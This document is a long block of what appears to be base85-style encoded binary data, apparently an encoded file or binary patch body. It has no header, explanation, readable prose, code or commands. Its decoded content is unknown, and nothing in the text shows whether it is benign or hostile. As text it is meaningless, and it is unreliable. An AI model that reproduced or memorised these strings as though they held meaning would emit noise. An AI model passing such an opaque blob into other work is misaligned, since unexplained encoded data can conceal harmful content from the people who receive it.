zOU&1C>Re->WwvAZE^^?jI5&4*Yp@JLOdmh=_a4&SOx0(q(RG!06E6{bgO_};C^Xyx zoT52elQV7|cN%GK0VuJSQ%3W8%$&nj$T|vEQ6=^y9uk<^z{>ao@A%hrZxWk9LXdOIA4>H*7jKI4fk)p;mfa3i#g@zOnh;UKCsXzq2{3HS^o zCW0v|XmHTa+tTeBw?C~=i_4LD;bd}5&OG?kjEGU3h#azMdhufxM$!*I8sz<_vTerp*8J_d3)(q?#UjgpKWbB16@I@p=Ui%w;LN zqHE)IX8Z?w;0I30Oy~t>|MQ+LZ)#eq-ZcZ?^0}zazE{Q*ASVZZ*$M3B@3fjFy8PFw zT!A(!iUK@;EZO|w+;IlMh1DGoj+xc|yAsYZluIHFOO6Bq_hC!7g}y-bR;fZmsVmSa zw4q!kk_K!lHDGjJ@8uj9U{pSy4wyBQ#iP5eOaE^Bm+KMuTmJ)^0>`Yq_+}z2-r?PO|#YJ~PEy}U0dxp|us zLbID2u#KPf(_umYf#7iV+r~;QSEru8Y8)5**3MMy^;z)Vgf#rjv?+faV z6J>QST?{s}@^H1Qck^c0v9yM3cQHFAD~kqaNg9?&zT{*@Z>Q8R{=y-?t_hl+(RgT> zn$!tytD|TSQX|Ib3Gqbw-ZE%;-W6`+ONM2Dct$&^-PVU~F46wWBly8`?I^48YgI

VUMu?}=g7CKMiz4&3UTzr@q99i}Wb{Ka8-0AgPmE>tVLkFcZK zf%D84+C34~AG8V0X-*alzj9oQTXUCk2{}#JMBRIp3i{&v4x@3M_`HT2fg_EUHiHTu zJXp_X;2DIJ`Erwcx$YhgFmw~@0m|FAWfx;SCTMywcE>2$|jT6 z{4uhSwOx;<>@1cK|Ft)WYyRu%7oEt8i4wEL*Jfr54i@p%W>(T_Mgthpa_?zW67HGL z^@Y*Kgacv2L?g?Pn==j2#)UtLk{^T$$5WZ$gp%Us13cj22nisro~A2-DQ7*ipf`UWlsPevUy>|#DF#Z^nZOi_={zi#F$fW9l z>$`OHmKLz->8i(32r4_1bP5=ebCl&*@{fy_Ma@V;=}(IV+T=B%Bvk>5?vzwgy-Xl! z@<|i0@&AKUvM527d?D_asZA)5M2hQVPWwrY&sIadZD@{cr=hBdNpQv*vh7eTciaD@ zeXS6F3R`FufkOoQn}3Zy^Th9!w&7a6jNP;y(+<2Rf{!Y*i&ld$(A`T|#Y9Dk`1yV2 zrHjDecw41en>l2zp z(aKZ%L5p{LLK+>b(-hbDEcCLY&ke}6LKmx;md`|A2zJ9k;@h8T7XVzwU|^+^u(D}} zC=y5qiL^NitWHjXTel8uPd#)wA&T>;{|BL6Lm`1igO`#sz;_hwB5pUbT*x_YJrQae z_xHI_-~SHQCkK}II22H$3t<}^;Kw2TzaM8;IaCs`tV}|55)~FJ*bVO@gf+}#Iv%>Y z7Wc5M<&H9Jj#+{+g561WBV~b_j-?euKmhv71Zc!=fZr5h={Pg7Yem%$7&SSl#ogYS zGP2?w@LpbB?euLp?L9$TiExIJ^PgEZtPuA9BbH4pKw|+d(9-0^;G00e8{)a+@7c!{ ztg>cZNr5e}{yytDQ~o}_c7Nuvv!66mTA_}TxENJ*dwM`CXTu4}mUI}}ZI@qjt&X@fP3bfo~wAQ>omWhJ6c2P1dqEWO)X5I zzr&H$bD;F(E8J9f0kx#$-wDKYs9!viOLif5D#%Lw#&>Wf2^LbY9Vp$`00FFYVml`Q z29{V)T_&_90q>8vRW{ds*4^jNkB?C|y{`J9#+5TRcH!PZl5ctdSw#x^zEn`MK5cDH zGwCD%q8v}u!LVfB=zQ=5*58<+h4EK_ent)Ngks55TFjQH8*xRp$=Ir-*iXBcng`o` zu+M*XXF8da|1fy7lMm6R2lCgt9nzu$1HK_D3XXPAEOKN%h`|`5CKJe+TmVPafPvF5 zt#_mry#2eo9=1OMA27W5VDa(sR+T-w?!f50ynGDf;>c7ufmpDA7VvQM^c<9BQa&ej zdGP~|1YWnI0n+AmzcjV9pqgTx4ba-9k)bHhSgR;4FPq`9ZI7OQI+r`!7>N=|f@{%% zblRNQ&;I36)2H!`aw{WIF_F(N_Ti#VL7<+mIXYNd$vG8ieD!tNL3)4HSsS#2?&7>W z9sYfAGq^e3S&y`)gMkzkq$!Pj3P;`twO?Sa#eM1A^R^^JK!fQ9+0(a7xj2$5W<#e7 z;5DGTEMLqk6>1BFZ&qa$iTk|QT5-qWbUy~_9-p6|p&lPnZobIwPozkem$#IGdHpGu zV?$~ml7NQH$<-D8xdq~7Coe3R$50=FZ?IB?|HIIk525a-1P% zIBO+`NMF?B+;O2rCyC|_?>VQ#OH+3!3Z$3J)P&D4wQ&?@_2(zQNfxmk)iZXa!b=rZ zp`W>u8@JGM=q_!RXyq3xlM==@`rYLEp61!_X{;M_-Uc?Nz$--46AD)JdrX8tBe`PV z=qQWT8Sdr)Gk5n%x4|Nz`%pGptmNAb~!WX+hFCh za;xevY=F!DS7xx2mAJQ?%~{^Yx;hpX#LD3TdPAu5u}#Gc7K@yIW1O<_APdheckHzj zd$yn30u7HFp^~v!dp#f5{6Extt3O8nj;hXfe!gT?3Uv}9Gx#+bd6!}H7;Z`a2(n6& zxi$fE8L-bZg+)W5YrII7Na5O_v^hP@Rws$Hll9$UC;T=8;nlEre^(Cq_dCW-te6UP z+YRd8pl0=;%hzNj(2m2;0`oRfTu||9@F=$*QvAvT|Ck;t_b!i1?MxIHQJcYLtlS}- zUF+UXB$sz=6UG-)C>aQQbXFieQHFn7D^mu#@|C@a=0DjRw14X3zr<#ICZ$tgkda5h zjWAxeWa{9Tgc7))LE`U2kK2JY${ooZG9xD^eiL*5JDCM-bY8UYx@k{4cMJU9?kPqZ z6lO|=`0jVT1W>Jg+t>Bc-e5e=gDf%Fd|`9rvbMo(TigF-^bO}d=Y82f@h5Tr#&_oX za>dSi^d8@moY^_SlOg$586x0o!x?7-88x!IYrd4Mb+_uTkk8*TjZMFg#4p$T0G>*A ztC{~A|G|uDhBC~czz)L}2PGCt|W18WL%j)~0WyUSLSI~3Gi{}Q7%#U7anVa2 z`*UTP&?}vWRw6!mA)DUD2dG?@mf0D{tnalj@>k5DS>4p{7*D6OM?0uWtfPP+5$#08 zVs`@=<=r;`m7W93JQU5ZsIyfvI+>dncxPAwq+zCkaGrkN5rp&7im54um-|e#ImdL) z6>t+ZRnW33YUHD#@`yqnHASo@@uc$=wM)Tn8yH5(U%@C*bHy&h?&hGU zSU!XGoT*Ok`Pn8CYtj{-E+{hBy@+@6Vp4CTAQ|cPDHzxHX6Ch%!DJ7oG%*IhJ(h(1 z8D~B{u<(pJu&;jnjc7I{)_)ET1$D-jFb5+F&IcAncnhr{F$gehyx>7i{xFhUeF zs7fhCvrMI5oQQQnXJmUd=+H(< z$&xaYfNq5C&V@<`CATWFxPhmf-)ibc z=Fwr#mU|pUg+7oIVfRHX`ef>Ya9!=t&yx?4N`gA7Dv_6efMEMiVB2(|Ze@l6>m2;d zwr4ZdvwexeI?>h)f(&~*zJ~EpaFhCB3Ho-V6fgq&F$YZh0SK$Y{`cSlZJ*dIr-v`( z<%R^KSi%0oh%CS|8&8pNO0nN;W%{Sf$DW#IM#vsG#vVAWTcne6tvrytUN+7aw6^wM zL@k~TsVfT}LCx569aL1-;BiIuZck1;PK)!U&wbuvQ5J+8K$I zab+UdZIkM3bqk3FQabYTlv6c;B6|%A!gcXKRGX^w*o83Lyn9YUPK2uE-L!@&mA!|_ zIOWO6{~oT4lc-A!Hg_F8UA&gnD}Cx3-?AHc?0|^uHxsqJ72JIL0buU2wzlB7_ay(h zR=dFBOL^Yki}2FHYQ~q&G$=Ma=)~6-_yZR%s}6PV+~gR95?~{X!?nj`{tH+@?sX^F)jj;K=U*KaQaXa&1xq9hs^-urG zo!C9IM8Sw|UqSw!o$u$?elT~KI}#SO3t?FPe&ATN$4lo8(&$q)M^i_MaU;m}X@L@oD1Ug>Th2g?2l3b)5GEQsQ_j z933(+Wh`pIsV;=6L%Icxc$e59ji>8Mwp@n*66_>Cs1|JQ;JfmC6ks*gjX;NZv+lf2 z{jvzkag2jwwRN3i!0X-Alp&=AI=`eDNzEk?7HI#4$@c*k=LL-&%_?fV6YcYUb``#@ zKb#}n$^6b-*f~dehd-t-o_r?{5wZc9K{}J_bFo@Gx>Eh)Zi;=@_~m-5?Rmp4KR@Rk zS@;v>U#st?x8>~LcxfWC>4|?Q%^N4OL)V# zbFB9wbbCZ;A*0RhA znv`HdMF?yd+zGdz8PHf_9WE~Ig9uf~Pe#Pg?@d&ombRvKC5pkdxr~O~nAGIC;j$(a&O0;Hf;{aV6+xK)V<(zV zN>{YZ1yg|lB&onwna$CIWMb}ixL-H{G4=f%&+YzTaOh3qBMZGoOGHDjJ;<=|XlMx7 z^ao(zj-coVp`i_d9`6Aq9Kf9BDytO~0r{h7u9qWjYlvTR(3r71Y1DUBJ_ z4@(fFF|w>AHBANm#-MECFx5MXMWS$!?guwJeV@FZ;NdNK|FBelgI~C_Ql<-&d!SCv zq-AjPd7d<>j9mZr1h|HWE+6no9`LUxR-EY6~S2WBL;!I8PgdE!)i0^!EARPqWn;14l|@Z}0Yhm^_S( zh^q#kgjkGd$dD5scYf7?qWUn*ys)s7vCW`P zo?l~-h+x$@S_HH|?`x=~)#DU}Kt-=FZ%9t)Co`G_XKtWtl^0;T;br#2E`!?O3_ZAcg3C7CRrs&Bxt^;6(U=7oLbK zr1aDv)bR>$1pPSi1D|xM!JW<@);ST`HHP&L zM6pOC?TWKIi~q*YmAvld1&)&tP++9_AgN5lpKlNSLSi!sebzbvSt}GRU?4M~L{)(x zP_Nc68B$juupwI6EGp?Zw5mfe?8Q(NVhNNJO552Sh#D$4wPSSK2DEZe+eB=VK&Vf> z*Vg%*lvU~LfFco(#D&=_fv$-;W^-*6&CUDcp9hPqb+0eWugJn>O8C``YC`JpN(z85 zPw5ZSf@F=wKOp$4N#P_f%NqUe^>)w2cd#_b#3PoP=#x>P2q#g8Ynb(-TcqL9(8ObW zEMMHpjT(Mw=k~cmq~5w7Sbw#O}W)fLyeaVPbt`) z<7M*kv%c}s%+Ka75y-Xu7R!-~s}wOtZU@*RKF!gTndmfQfDCaAi_hktlBIx#h{(`_ zfFJ&eJL8a^d{@>3hEZzLEe*&KLDJ5$BwQcN&*T+9w9bTO({;DI!DC3uD6}7m*>^Qm zqRUZG=&sbsm_g`d)Dc}41J=3#SrK@85!mQ_LU{F=y1yi|f6=aA3 zG7LJ(aa(Z=-Eu<3?re22+J9kceDuz615M7S4cy-8UvW099E9WtQca5&%@j%vB4uSa zZh?6$ZS%GoMGy$mK5XhRDK0Fm1UBQzIM~uLqH1^*r{Bwz$8ExU57$n}RzJ&A86n2y z=C(DMa-;}GQG#DF`u{6zrfTK#~fg-iG%0)q|DFf6)YlN<@ha-n)LQYZvNGxA&on6La zjOFW5vzyIme9NuG$%mh$=ZJ5fV(Usp($Jt-AVb{mKjWqoUWEdT_P+V~coK(c#6Wql z%0BLR)y=5(Ubwq?E7&>CrwaKD^N@~@LE{Ldv0yl_DG%L$)RSsyf!Mm`ydK^v0WFnq z%H%N~h#-Pzi13lpIDG6}p$`G*8W5h0pTXFL^Kxxt4HCs@$kF2cu4-`3Z)>J`%dK8n z>_j51V0GU`{|aJgHN{kMNZZw1WZI3Lag%y>^(>raO05)h!W}FC_ol{)RYRE_b~MaC zI(+G+NliT4oH}X-zd#SM-3WCdOV}*(2K17Of0+$NC3=Q@pmQDcZn8VMartb9%i^v{ zii+v~epb!M#4&AyNhR>^G{P45#GtGAS$eMTJD{f3CnH)TNTj z%8P?&YTy`Yv=)gsuqlrr$2&v1Tth43Z|RwYn05vph5FN5VGyuRV{5-B18Sd z^l=~%hBTM_#~$*sj9p1a%B5rf=!SS7nhz@J_|%3vV-)Pln#CNfk=I>#Rc8S=NU}B0 z6him^BT4?KKw3A`_i`Dl*&@awGFcI~P$nDH&;>n>hEVvl?KZe3k+LTzUn(l@1WjXf zal&W`I0kbCX>>B^sayMf9l5+%yN3~k=YaiaQaUeh{x+D_70qgGf03VP(Pj``wG-X& z$KyqMUAI)zw+g~vKl&GZO_9uCPK7nU}o;u1!~OFt^oDIC+`3Z2w*NE_~u(vmyC%3`>*8g&6>;T_0jwN`Rseb_c5?%DoNXQ@M@A!64!5R_U z)A5gVp@{HI?cL$4UU7A8!qxh&au{JFPvn|E9@sU1J-C~I$3jW|;Z4pp12`Q&AI2pZ zI+%CU`lr6Mi(5pjDvtBUNYBx!fa{h}%3U@wP#mXp1qGfYRF0v>8-M@J`MfX>;hx1t`d1wDUGmT;_Spash|_rZECs z_K>@eRbHRZ^hB|zOtFZV{#pSk&BT-3&50tc)}H%InZURBL(I>%ZE!5)7h8>cHWBk6 z(?~)kHWM#mCXM*_-#5O}TPf9d&vu0-x!QLii!+i>h|1@*?Q24*+?uY|R z_?1z~yv38B&*opG0xj2$`oag3ZKn4QheAw-@iYEMVuj(uEAjgs;+v+x#cs(tM}a1x zemm`r3lp&%E;Xdud9@IN<%#E-Mi5496+t}z6Q57aZ;@i+4(^PAO^hDUqJ9Q~8@>n8V)VLzx|R<~go1)%!AQ`0J5&Qr37)Xd;^JQ) zcTMs^9?8&NVd3veujp%Dm?(5Lr4L`ZCMMzf9#0uE9tT_9ZjtDK&!Z|vLd!;Iv2|}e zA=4KJJ%qLFQW6>8hb1~zGF#S!!U4sOog0Z{S=NtaS;FRZ{1|B zB~F&V{f0s3F3LH+AL%Kr>%2r)qY#K|Y9pvIG#5h$?zU;1l73C8eheL{Ek;P;S=xHF zYA{01EsPY)Pm5iTwQ1lRbxn3(W8^Mh%*U1l3ZAO_JlhWl){4CK43!o2wC$35-u^vl z{et3jC~XIwX-Yd-y%CPWeB<65(M6ssK?1x?b7Ez>lJy0k!%zM(Ryy1YWS4y#4H>W* zf6|s_>JtOQ{x6Gd+EH5)1;JRGQHv2KLs&(QrV6H2$tci)`{>`x%d37NJ?bz=j+1-~ zfZw9MWZnNQ@Oex*il%`4gO>W<2EbCd)#?1dqq!E0`9i3HZoA*JN5k)W78los3D{u~ z5)Yp@ehkRJ%_-Kx2+;`+#Y3}+u;Ku^tk^= z$=R4(G+vPw6H;N+FUYg{>qLDxH@6obZ_r7*kJQj28vBcT9Y&gehGR{`6ZFkYhwWhQ zm)age!7&MPj_+?d-D`_(_}W}43a*`>3d5;EtgBzYQ|BI!d3iGJ6LmKHlk}D`>Qfo#7nU_2gSW8@Rk0vnm z2R@eQPq65F-;@1lNx0wX%p~a~RE#Jv3=nZ~(6_gGFGZOTH|Fj<&uHb<6nrk=+oJP9 z%vqUqn9*h+FvWR%Bh9=_(NF1saoLjXkUoH4ZJTFPATiTC|Ly6V$`1=YfiT&! zuB<ZxdAO^cU3t0+F_<1%9#+KNzqaSXBi}RXRcE zGob-;ZSMaxB9qvD5dkCo@k5@13dbIXrO`vSm;U_v|J?!r9b5Umx*652dOujYtsfpA z8561odP?#QBXzm0@TmyZ4Rx1HB@r=RQ`hfN?P~+=!0pU8A?CsQM~w#)xYbU>v)5LS z66qsG8N~__sw5`y4k6^;pEY8&Y{OsmWz@4@KVSTjHJiL z1$tp*R`NjRk#-@_DI&L<{5h10St_7CaGFhflTmDQ0v#(DK*;z#EaaCu^BXC4)l>z5 zD~L9^9T0^$oX9z9iul7Yexn`rpNAjJ3nv&;4N2IDij_1-cI zA+Gl&7QQEv_beUB?o#FF6j%_>fIKe_+UYv5#m{Vt<~{t*8eWc8*d+yu*@8W%hvL8q z{#O8S8K34PN>gY%N6~^&Yp|BD$r1{SjUAQxNvNX|t*%zo>WI^n_8ryad|V)YD=GH7 z$Fhf7b}zgmW!sA&qo&BGRMd!uCsZ40<(Us3sgi*1SyGr#B$&mDxbbYoCP@4Vs{*O| zwRw0tyuP9X=kKz;rgTsC_e)M{-{l;;X(u+kn^M4PbYcna+U-;6K#A>&IujN*l zz8RE7Q^6d&fRAq?Le>7xL_+Y(blT-4HajMoCB)xSL9VX{oCEpWKX9mV-uh6n8xd>Q{t}?E?7WFhTFfwO6zVPF_t0iw;aq~7CSt0#DsyN|zD<*$P&;}1mVXb=8xAkzf!_WW@G{QW zg!F9^SclF&*$42x0x^8OeKl4DtJoCPV&eBtZEGJvTSCqKqXv|ApdltdLqnvHv$xsM z-01%BKfMKcN9&86-*IzQ#U}=Q?{yG$)(i~K zkt>wEoDK|Qy>Yq5fHfd|Rhw7c%yvcBJ$~sW29he{{+r79<++`{B&ga@PFpvW!YVdUJS-& zBIkop!#kHfCW2#MahdW+3_BOMVh&=tt(|jYo6RHG_P1zfI*r-qahqAAQs!RFvMdqlD^hKAo`VtyvA^ho-~4g zMyFL+e??+ddF8T#hR)LUC#(L{aD%cN9V6QTd{Gq-9Kx9Zt%i2yrdN1;rn8;Uf=PdyGqY;Z2IdQ6kscAG4|GW;A(uH8B zUHV!5Q~WWdRt*23p0DR3#_y7BdviW!!|&4#zUM1_y3KC}!Y|s3$_!J^Fik45?Z(xV`>HD=8Tl3z0cP&xOt8IR2NNUGFw`L7ms)IqU2fiFqx&b%ExsnD;A8@+tpR zOWd7M4k;9ZwFCrQGNPu|$dl6lz&;NYVgS{MTEuuveO#TG)aS^wq#{1t-C#w`$YYAQ zj-=S6g_?G(%>Iy`C4{9y1D%mZLmlFP)kN?FJ07XbsPGq(6Z+YMosru8pDn)7pIyX+ ziC3&X6`i9$0Pq(t^LuaymRmpCiJwbcY8W)wtGD94-XBJJ!ee4KgMU&T87b(Xk^L4p z4Ud4l@rv3UlqQ=xcX9E#3^L%ptRC_Qe9;>2xS?HAYNI8h-7*6O3}l$?iA?g)`hYj0 z9?q+P7>G}nsrT>X=*;k2pz@@x{?tJ)%j)4b{t)$G2u2nEqrf)fXQ^`h*gHNLPzT$& zVC=S@TzQO1KJfK2pwDaN$-Xu!Iq|wj2Pnc-EFQbrp>Ui%BNS9iez7h@oJKw%yVaMo z@7)#NmJ*64YXr?I98^6z7(Q5J$ZM3I{A1F*ZVc>rS4i&wut4dMyogm87)u^=ZiZhT zSzhdH5MOpHN`|G(?r*awn*NhW=;OLQym#Ok08PJ0uz>8uHA1GYN9SESytT=`=fW;9 zCmVbB!0%pI_*rPGd2JFWQQ)DKn2_m-Kw(+OzJwM$p0gvKwIi>qfHi$MNzgCFR`+Am z{-!2lqxZ7vpC&7qn>xVhsQ&5D*BCB;dibJ^FL0bC_G9$=4|Glo;Glj*q(&8$I-i}R zABR?5vxyvydCl?Q_wMfymW9Q_m`F$-?wVnQj`7e-v15$)7FRV=VR)V#7T z`3UhnQj_n3{msA#77ld9{XVIbzh&RgRER#nY`ENHAX$ANCKwF`bS8iJTdGbUIQpWE z$WErJhfOXdL}1?xd`2mJp1*6;%=J;~3r_0TZ+Y3A0Cqiz0|*&xZ`aLT?|eKp)*T+X zcW!wtU3%s5!y@!p0l8J^?oHlcS;ukRD_HJSW{Ci>z8K|{|KS0t-ehPP z2UAH;mA>u`zRDbCq#I)Y%5@SWK&kf&?i&{CTZLmO4Gk<`vF>!LI%nDFjIeqSs6Q57 z^KMbwg{N-^$*r|#6aa^pJb{|8+Efn#IaO~2NRN(P7qX-N|Js&iRq2XH?+8{tY)$k!`^)u09u@!|#nbmE?cksg zR@4_abMvu8Gu&Ig`+CX>l67!V@Y>5#yORVO^!kdjfz~t`Bw+nfrdF z!9bwp^=zZ_HehekNv+Av2Zhz)p1**b&nDG@NY9~4J2z4yDz8D+;jEsQ%L1>SV!7wrq0gW; z`urp2SC27QvRWc77`-ehPZ9z3MejyW$FEc*EqW0kevC7N??kcKs7x`>nNd=O3xlVM zl?QVxBm~+4!|D($LPBONV-)n4{9fMDeApyzQbAhrN4qEQd!1>WOhe@fbi(rZc7e~$ z=PdQSJbz4hv0_G6x|`5ooUGB#Y42IIWok1PXnm2+8G7MJP?OH~)sG5v>EJ#caugex zaLD`E&O@-N<6$olM0BgfCk*D(H)M3>9JLY8%6U#_rUFcYzY{*mL^%J=KbwxdJ6U9a=bejT+bRZHj5IA2AcjzF41vB9y^SK=4nVYz%#mE z#o9ebdpZ;HdoT7)2xhe45&qp>{VE2f2!{jG_S&3Oj0R`Hs=&x{vxnZ@YU|Mrfz~(~ zJKzjoUR7^#uLRSkWY-kWWyh>$U~0?L*77rG<bthCh35ChELyF zqq=5^fB-YbtD-|+vmNy{gJ;@ngHLpYxL<)glo!1{r1jm0{`%}!jxbCju&4mu_YS~D zRncv8xLHN;-#rY|i4*WKnhG(daRw0S#ey-umnGl3{F|Qyeuy$`IE%df;qYSP|LZ0{*yLbKqy=OBclH|!xe^vWriB9t`>|X zgOq1cEyfZWu(dd!967wG7UI2*ZSL@&zT&kJlO(HgNc!b7QOk5=Y0wbJMi4Bw`MCX8 z3p|3KU*BMOdgu8MdrzeYPMsw9n7dbco<4e#E-b9wSGf0Sbu*^x+56%DU-3A96J7HLTWRD1L|E~Lo7xa}?71ZKdudexQ|T&Z5ADIfy&UTk+^pH)M+t3 z!ZR~Q{~qJ8(%CRpGf)Kc?o#DUFauL0H|MiCAlXU$QPx(yX!QIi&V;ay(z@*8?Sq}s z&~j0bcIB&;6Sl!Bp{mL2#j95~TgpOmm@Z)XO$Q395Oa5X->0mZa1Qqfk)h?Apy7In z5?e(66&{udD5Pfbswviy4I=FmE3X{%(oO-xo((VL%8O#Vzj~W#H)Gg> zlj39K zUORE1ZYDlGP1xqPZS3>{zY_jrzBWf?U^ARWYefsGL;<3WNoY9N= z0sXC=LStg#AHLkWkV03--|8!k9F1TY`awNqaSnf-HGgy8{SE-Kwx%?&UCt|ZG-xN6O0k^`F2gS}usBE6R`}V<)kl~N3ZS>s_$A)|;0OO)-xMuRjG3GgKh3BE?#@ltv;eU0(XMUk{Ac{tdvE;4c66TU_)SuqTsJ?w z4lAr!g*ti*I$OHI@clOPib2EwBSHWO;45EuiIpOWy0;Ek6-EXPUEn5s%BpSQ9-iECXRaUwvIcR*hix0SEsaD=>EMJ~?mlthz%f5dTzn>5K945ani{BeyZJnte@huK61B z*vVndrUZdtAtkuvJ$`jP^Ab>8D$3YD=%FhgotVaw53&ShYiy^V zvrTDc%Ij9jNiq2eu_Xu#ww~>~hpos}w zD{XGZd4~WJ!Oc_I1AQ(?lr#(p==r3EUA@m;{JJ|}&oHh$c-S&9N&eB40X`T{dEefg zBJdkqq-mW@T9@Jcb$Gd1i-`rX>hN_F_172pUA-h0zr>1ER0;p zxn|X#4Ga_?^C@y1o;oP8Sq6mMo{BWSMKfgfkJbNLQVcIIYz~5~4H3n7T67H-VJ*HwZ z?!IL)+UD&7MykIW!8O;MtA1ZJrdH9epNPS`LVn+2TORz8Jac^6NwGD&`{~(s``*I- zDsZVJK;RJG{(k`8Kq0^NxOYmH#S;<#iyjmswC zw#%|%qzGO9F54+$vr^)tj7aP%M43W~!s-hI|DO^jk@iyrm;z8Kp=_MiTIpsIiZsh;j5m(Q-sI9igVxBA|kLCx-m_ZG!&wzm*2p( zc4cCQ`h9L*!u^+nz5|_TegEgMHoZwJ64#1sVrfsBB!6`-?nAEx>!i2TJ3*hxPIJC4@iN6&0?lVyLj zr{aPr|D@~5cHm#zcoJXv-;LN706d7kT#byxysB&~I<$iSPr9b!7&r(d`M3Z#>a-Yr zRlon>!CvT#?5*5{EMx&9+(YY<==w(e&)|C|C{)N?am*4B;OK9@Qb@jyne`Vm*pTz^^c4W%&G->9&Q zZ~3pL7yT>dPQ*WcxPmqvv!K=RFa8!7@!PKZQ0|l!eQe&2wi>q*(B4|DT!vc_Iur{) z_Zajy^6ZwMg9T3!GIj{~y8qfNiAbbq@X2aEDym7i|6bIKRMXUjA3eJre}3x_x-9(n z#b`~0MI27~!A|d|`=;LwN%_alUu;mpde8Gn`Qa{%f8-EM)2{6|ttI!ux?u!>RP(Ja~&vAkQVE9sd;bb zX&fnQ8mP&z%NkmH@c&-ki&;4d_}X<-F+M(g*kfGi4zn->XzfWIQ(YXNAdm*f^wW;0irV3d=4UO>B#vc9}yA-+HL!n-2|8=gb8 z{tK3MGb_Lyr#`~sNvrYQn`hwR=XSW4#uP`-5g*_W4Np>>STZeP;;^Cljqf7q!F5pS z{EybdGs&UjPc(Z zi)MP?Rgcl-UsoJ{wbuXWrd%Elz%KRNW#734jkqAuGn0>e!$4T z%JnMK%+>rmuV0Hxa<0RQyc-c8At(ow_*{&%uL6*{|IYP^{;Q5if-Yss#h6Y&or8HZ zC4Ti?@0^`v4YzTB6+YZ^nv`}5t6*;nPr_u-VAbr2SV@-C8gjXHI-PC{>gt{J-Qn|? z@xiXs*i%#own;EQU;Zxf8S=cdE}Hu~+Rzz}ytex<`0<**L8Uby?#3t37Mq5SO@HBr zuoQ1Z!~flexGy|Q-xL1x_q~^_|1`Q*XbrL_8k=}-H_;x<74E;>MGT^hPyhze#S}{k zOau(+^SFt#hslD7bmBwOc)62QYCE|BmtzaL0W(gFizSTDZtb>G_rtoS*XP$*F$uO? zzHHifnp-9&jgNNM%*;-}W6$qGaV2k2qv$qZ@~&06=&?HR)|OMWi{AIb)Yo!R)cbzR`b~D^s@mG(I-)hSvEha|c|vC=>|z8v@MzBh2AImqxZ=Wp2R1 zssKEA>SI7JUj>s*i=>!INKNp+4F`Fa{+Swy^`B8^#>)Jg=|xb!-^OZnyURXBP21^V zo&JSwzeSWO7BeT!$F++xux@*qyMKu*6Ytqq;%e;%?|AmcQnY^bYs6gr3vXE z{h=4QsYlSG!Y#!6C;jqiVkRPD(Y@X_%;Myk^+&vUmS6!t*yf(UND6H-KK`Zo*k4?a zXGjrPLHxcqy+pPDFG*{<$x}Z)+$m0ei4bJ1ayYQ;{C#xhP@Q4ts5U5{TDu_ zsKGNPEXL&pw<0fj=CH>R9fprUb5}j8T265tEuC4!|Mv!0#@v4ee=`S(JHs|I^vQW# z#pkxJ6w}~e* z1I_Ocwm4GqJS|8_h0GK1>I370E6z5 ziUkE40*p{tZH^%xKsn--w)!Y?lBT1Gh|wjH+<-5%0+8)~F-6-ur1)byLuV5f^>EFC zbX>I{4KY3eN|+nZ?;lv~-bH6YLVR?2{f3Q;G`e^878H1P_AaL#!N0vzh=ZpZxwbYU z7612VC-E8WEN_Re%H714i(eW^!k{bwNs2veY~$iHdW=N!!rEb{N# zga0?|AssF|p4jjZmS$g#TUR{j{{3Vxy-e2IS7C~}2uiUWGCH5}0x?^Oglt zf?en5$n{q#YO-^@wXVs{9VL}V|9|$*13s!M`{TdNr1wrj5(t3=5;~!G5Jf~#6nl67 zy6C!V*gjfe}8`62>8;ZnXQ#EaiMtq;b45bGaa9-Pf=W! zE8s;+zz6Uv*VhrL%W4+6zVNJK379ZQEK;O?O+5%0q9^KsC38v z2=Hv8TmSK>Jhrx3`06veFgk9!Mgi#NeG11<79fXQa657$hMQLO%4oYi@L(^~W@?V?wdde=;8vWD16+5UJ2Pc0l@H=bOEIpg2F z@%@$h>Ny?&JahkK{Fs!fC=v6?YQVVUkX!KIKH8(qB0fNhK%TMhslu`yKWk9nvK&)~ z^+o!Yt*9{JGbB8*r^J-|3IU4=up4lyhvDTto8kaEV#z=71v1>UmI&FUqcDY@V=0yq z=!o^7dWThHIW;|QAzbu5rwm%z0p*`6Kd-l({1!>)wqxP!C3uqzh-glYVrS~{cJ1x> zliR;Y#cZ$$DO~YexIXwD^xi?nP1yW4CvJIt^=gHIg;-_esU)vU=;$K z2t=a*Od|#0WshLl?w6X|*E?6j#Um42C>aK4#iMVH>3|f{XPX>Z%u9C7R*+POUNyF z@ytPrTd*6o+ug-9`>&U~Gluu`#MdR{0%nvwG}t{5!QM?4j@>Pz+)oH}gg_q?*MGJE zbhOggP>-ZjYtiUyn9Oi$a6+JaJO+gOI$C$Tv_BoS{!@i2s>lOdQd|~)y?Ury*KGaA zFM*vcC6xtOarkKr9XSR^lP95}-WxfMAy`&>E$(vpyt(;?@&Xio{WyYef4BLVJ!~x9 z^&-;qk84C7;pB@+#YW0KoiqIB{h_%I$1pZ^{SEMOQ(XC)E7|Y{yDsuL=4$eK_z$@- zAEfZUsuHlTuBqSqd^}Ln8RZ{qi;cBT7kQLdmnd$dAD9yM=?2%p5LpvXEnS3>b7W(xyQ|d6S;Rv>0SbT$l&3r zpG;CF4>&HTY2qM`C7PVN5kHxqpcoQ#)J3~9)_=xC8Y$K*yYchy$la5Fi-f*o5&D1s zL;imsB(I>IhN|?e7q5K=b@^%Vzv|EQx7Gb)E5-fS>nvp_HpFSvkz4~QhO4;$8a^sV z+%k-I9kF-PCm~=b1UM0hap8C}{$!dRMe(PM3%db-vppT3Z#t>O$Ybj`Q_DEx`t5BW zO3fn+y4|?vpWiEOwH2t>$I}Hjl5*{X-^{@iw~e(}`DZEv$NOM~ApfXeO8KW=>v1tK z_v??$#K?ic>fz=!y9F=%;RIz1-T<~T?CxTk{g(q2H=NstG*Sc_m-vW@#=EjD1ZXzF7iRo!*KRC#_p^Lq!C+|MoNMdZ}a}&>8DLwUt%LAAv2*dZKjJ z`p;D6{ObMaGw5A-_$4c+w$@L?!G>X)YE>sUqiom5nq#)Sv+dM(*nDE8M#MfIAy|+` z8Zo2dJ@Ib11jjTVVb@>NamFvM8>z$uYp!Gm8~ww4@yvab@#LN3;2qcp&(}PNtcFnK zdvS}uSLb>_%D+s4~hm>r=YS;zSI+xmKmwQWN z|FzdJ}Bd;J`jIpm6ij z#{Y|=Ov}FE!^wg-vJ37gP1*_p?c1rXNF{OzfnG+yIW!JB4}UaN8WLtyvlU>!X~-xv z3_@4|n0>ke?|*kpLug390Ng%jFcK-KZhNJswjLWPcE$>_q)WS?%~)%CU38ca1u`eM zmobs(39C9&d3e8HA0IqRZowS?Grc*laVEE2_sJY&n-Dg_F6rPh9rMUMsSF*DWPGB&0a33t+dK$0&;Dq@; z&$h@S-jOb4QYeDo`Hw~U=!IB+^z#-Omen@T 